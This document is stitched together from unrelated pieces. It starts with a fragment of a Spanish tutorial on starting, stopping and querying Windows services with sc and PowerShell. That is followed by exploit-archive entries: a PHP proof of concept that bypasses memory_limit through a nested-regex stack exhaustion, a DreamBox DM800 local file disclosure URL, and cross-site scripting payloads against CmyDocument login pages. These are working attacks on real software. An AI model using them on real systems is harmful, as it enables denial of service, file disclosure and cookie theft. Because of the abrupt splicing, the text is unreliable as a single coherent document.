sc start <nombre del servicio>

Y pararlo con:

sc stop <nombre del servicio>

Como dato extra, con sc podemos:

–> Comprobar configuración actual del servicio:

sc qc <servicio>

Ejemplo:

image 47

–> Comprobar estado actual del servicio:

sc query <servicio>

image 48
  • Powershell

Desde powershell podemos usar un cmdlet para reiniciar servicios:

Restart-Service <nombre servicio> -Force

De la misma forma, existen cmdlets para iniciar y detener un servicio:

–> Start-Service

–> Stop-Service

La sintaxis es sencilla: <cmdlet> <nombre del servicio>. Aunque también se puede usar el argumento -Name para referirse al servicio:

–> Start-Service -Name <nombre del servicio>

–> Stop-Service -Name <nombre del servicio>

Referencias

  • Introducción a las aplicaciones de servicios de Windows
  • Windows Privilege Escalation for OSCP & Beyond!
  • Windows-PrivEsc-Setup
  • Interactive group
  • Windows Sysinternals Administrator’s Reference: Security Utilities

<?php
/*
source: https://www.securityfocus.com/bid/50541/info

Multiple Vendors' libc library is prone to a denial-of-service vulnerability due to stack exhaustion.

Successful exploits will allow attackers to make the applications that use the affected library, unresponsive, denying service to legitimate users.

The libc library of the following platforms are affected:

NetBSD 5.1
OpenBSD 5.0
FreeBSD 8.2
Apple Mac OSX

Other versions may also be affected. 
*/
?>

<?
/*
PHP 5.4 5.3 memory_limit bypass exploit poc
by Maksymilian Arciemowicz http://cxsecurity.com/
cxib [ a.T] cxsecurity [ d0t] com

To show memory_limit in PHP

# php /www/memlimpoc.php 1 35000000
PHP Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 35000001 bytes) in
/var/www/memlimpoc.php on line 12

Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 35000001 bytes) in
/var/www/memlimpoc.php on line 12

and try this

# php /www/memlimpoc.php 2

memory_limit bypassed
*/

ini_set("memory_limit","32M");

if($argv[1]==1)
$sss=str_repeat("A",$argv[2]);
elseif($argv[1]==2)
eregi("(.?)(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((.*){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}","a");

?>
            
source: https://www.securityfocus.com/bid/50520/info

DreamBox DM800 is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.

Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.

DreamBox DM800 versions 1.5rc1 and prior are vulnerable. 

http://www.example.com/file/?file=[LFD] 
            
source: https://www.securityfocus.com/bid/50512/info

CmyDocument is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

POST http://www.example.com/login.asp
username="><script>alert(&#039;demonalex&#039;)</script>&password=bbb&rememberme=a&submit=+++Login+++

POST http://www.example.com/login2.asp
username="><script>alert(&#039;demonalex&#039;)</script>&password=bbb&rememberme=a&submit=+++Login+++

http://www.example.com/myDoclist.asp?x_Title=a&z_Title=LIKE&x_Revised=<SCRIPT>alert("demonalex");</SCRIPT>&z_Revised==&x_KeyWords=info&z_KeyWords=LIKE&x_owner=a&z_owner=LIKE

http://www.example.com/myWebDoclist.asp?x_Title=b&z_Title=LIKE&x_Revised=<SCRIPT>alert("demonalex");</SCRIPT>&z_Revised==&x_KeyWords=test&z_KeyWords=LIKE&x_owner=a&z_owner=LIKE